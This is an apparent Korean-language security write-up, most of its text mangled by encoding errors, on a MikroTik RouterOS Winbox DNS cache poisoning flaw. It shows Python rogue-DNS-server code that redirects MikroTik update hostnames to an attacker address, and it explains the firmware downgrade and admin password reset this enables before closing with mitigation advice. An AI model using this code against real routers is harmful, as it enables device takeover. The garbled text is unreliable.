RouterOS(Mikrotik)๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ์ฅ์น๋ฅผ ์๊ฒฉ์ผ๋ก ๋ค์ด๊ทธ๋ ์ด๋ํ๋ ๊ธฐ๋ฅ์ ์์ญ๋ง ๊ฐ์ ๋คํธ์ํฌ ์ฅ์น๋ฅผ ์ํ์ ๋น ๋จ๋ฆฝ๋๋ค. ์ด ์ทจ์ฝ์ ์ Winbox ํ๋กํ ์ฝ์ DNS ์บ์ ์ค๋
๊ณผ ๊ด๋ จ์ด ์์ผ๋ฉฐ ์ค๋๋์๊ฑฐ๋(๊ธฐ๋ณธ ๋น๋ฐ๋ฒํธ ์ฌ์ค์ ์ผ๋ก) ์์ ๋ ํ์จ์ด๋ฅผ ์ฅ์น์ ๋ก๋ํ ์ ์๊ฒ ํด์ค๋๋ค.
์ทจ์ฝ์ ์ธ๋ถ์ ๋ณด
RouterOS ํฐ๋ฏธ๋์ DNS ์กฐํ๋ฅผ ์ํ ํ์ธ ๋ช ๋ น์ ์ง์ํฉ๋๋ค.
์ด ์์ฒญ์ ํด์๊ธฐ๋ผ๋ ๋ฐ์ด๋๋ฆฌ์ ์ํด ์ฒ๋ฆฌ๋ฉ๋๋ค. Resolver๋ RouterOS์ Winbox ํ๋กํ ์ฝ์ ์ฐ๊ฒฐ๋๋ ๋ง์ ๋ฐ์ด๋๋ฆฌ ์ค ํ๋์
๋๋ค. ๋์ ์์ค์์ Winbox ํฌํธ๋ก ์ ์ก๋ "๋ฉ์์ง"๋ ๋ฐฐ์ด ๊ธฐ๋ฐ ๋ฒํธ ์ง์ ์ฒด๊ณ๋ฅผ ๊ธฐ๋ฐ์ผ๋ก RouterOS์ ๋ค์ํ ๋ฐ์ด๋๋ฆฌ๋ก ๋ผ์ฐํ
๋ ์ ์์ต๋๋ค.
๊ธฐ๋ณธ์ ์ผ๋ก RouterOS์๋ DNS ์๋ฒ ๊ธฐ๋ฅ์ด ๋นํ์ฑํ๋์ด ์์ต๋๋ค.
๊ทธ๋ฌ๋ ์๋ฒ ๊ธฐ๋ฅ์ด ๋นํ์ฑํ๋ ๊ฒฝ์ฐ์๋ ๋ผ์ฐํฐ๋ ์์ฒด DNS ์บ์๋ฅผ ์ ์งํฉ๋๋ค.
example.com๊ณผ ๊ฐ์ด winbox_dns_request๋ฅผ ์ฌ์ฉํ์ฌ ์์ฒญํ๋ฉด ๋ผ์ฐํฐ๋ ๊ฒฐ๊ณผ๋ฅผ ์บ์ํฉ๋๋ค.
์์ฒญ์ด ํต๊ณผํด์ผ ํ๋ DNS ์๋ฒ๋ฅผ ์ง์ ํ ์ ์์ผ๋ฏ๋ก ์๋ชป๋ ์ฃผ์๋ฅผ ์
๋ ฅํ๋ ๊ฒ์ ์ฝ์ต๋๋ค. ์๋ฅผ ๋ค์ด ๋ค์์์ DNS ์๋ฒ ๊ตฌํ์ ๊ตฌ์ฑํ ์ ์์ต๋๋ค.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
์ด์ Winbox๋ฅผ ์ฌ์ฉํ์ฌ example.com์ ๊ฒ์ํ๋ฉด ๋ผ์ฐํฐ์ DNS ์บ์๊ฐ ๊ฐ์ผ๋์์์ ์ ์ ์์ต๋๋ค.
๋ฌผ๋ก example.com์ ์ค๋
์ํค๋ ๊ฒ์ ๋ผ์ฐํฐ๊ฐ ์ค์ ๋ก ์ด๋ฅผ ์ฌ์ฉํ์ง ์๊ธฐ ๋๋ฌธ์ ๋ณ๋ก ์ ์ฉํ์ง ์์ต๋๋ค. ๊ทธ๋ฌ๋ ๋ผ์ฐํฐ๋ Upgrade.mikrotik.com, cloud.mikrotik.com, cloud2.mikrotik.com ๋ฐ download.mikrotik.com์ ์ก์ธ์คํด์ผ ํฉ๋๋ค. ๊ทธ๋ฆฌ๊ณ ๋ ๋ค๋ฅธ ์ค์ ๋๋ถ์ ํ๊บผ๋ฒ์ ๋
์ดํ๋ ๊ฒ์ด ๊ฐ๋ฅํด์ก์ต๋๋ค.
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
๋ผ์ฐํฐ๋ ํ๋์ ๊ถํ์ ์์ฒญํ๊ณ ์ฐ๋ฆฌ๋ 5๊ฐ๋ฅผ ๋ค์ ๋ถ์ฌํฉ๋๋ค. ๋ผ์ฐํฐ๋ ์ด๋ฌํ ์๋ต์ ๋ชจ๋ ์ฌ๋ฐ๋ฅด๊ฒ ์บ์ํ์ง ์์ต๋๋ค.
๋ถ๋ช
ํ ์ด ๊ณต๊ฒฉ์ ๋ผ์ฐํฐ์ ํด๋ผ์ด์ธํธ๊ฐ ๊ณต๊ฒฉ์ ๋ฐ์ ์ ์๋๋ก ํ์ฉํ๋ฏ๋ก ๋ผ์ฐํฐ๊ฐ DNS ์๋ฒ ์ญํ ์ ํ๋ ๊ฒฝ์ฐ์๋ ์ ์ฉํฉ๋๋ค.
๋ํ ์ด ๊ณต๊ฒฉ์ ํตํด RouterOS ๋ฒ์ ์ ๋ค์ด๊ทธ๋ ์ด๋ํ๊ฑฐ๋ ๋ฐฑํฌํธํ๋ ๋ฑ ๋ ์ฌ๊ฐํ ์ทจ์ฝ์ ์ ์ ์ฉํ ์ ์์ต๋๋ค. ๊ณต๊ฒฉ์๋ ๋ณ๊ฒฝ ๋ก๊ทธ๋ฅผ ํฌํจํ์ฌ ์ ๋ฐ์ดํธ ์๋ฒ์ ๋ก์ง์ ๋ค์ ์์ฑํ๊ณ RouterOS๊ฐ ์ค๋๋(์ทจ์ฝํ) ๋ฒ์ ์ ํ์ฌ ๋ฒ์ ์ผ๋ก ์ธ์ํ๋๋ก ํฉ๋๋ค. ์ฌ๊ธฐ์ ์ํ์ ๋ฒ์ ์ด "์ ๋ฐ์ดํธ"๋๋ฉด ๊ด๋ฆฌ์ ๋น๋ฐ๋ฒํธ๊ฐ ๊ธฐ๋ณธ๊ฐ์ผ๋ก ์ฌ์ค์ ๋๋ค๋ ์ฌ์ค์ ์์ต๋๋ค. ๊ณต๊ฒฉ์๊ฐ ๋น ๋น๋ฐ๋ฒํธ๋ก ์์คํ ์ ๋ก๊ทธ์ธํ ์ ์์ต๋๋ค!
๊ทธ๋ผ์๋ ๋ถ๊ตฌํ๊ณ ๊ณต๊ฒฉ์ ๊ฝค ํจ๊ณผ์ ์ ๋๋ค.
๋ณดํธ
Winbox๋ฅผ ๋นํ์ฑํํ๊ธฐ๋ง ํ๋ฉด ์ด๋ฌํ ๊ณต๊ฒฉ์ผ๋ก๋ถํฐ ์์ ์ ๋ณดํธํ ์ ์์ต๋๋ค. Winbox๋ฅผ ํตํ ๊ด๋ฆฌ์ ํธ๋ฆฌ์ฑ์๋ ๋ถ๊ตฌํ๊ณ SSH ํ๋กํ ์ฝ์ ์ฌ์ฉํ๋ ๊ฒ์ด ๋ ์ข์ต๋๋ค.
์ถ์ฒ : habr.com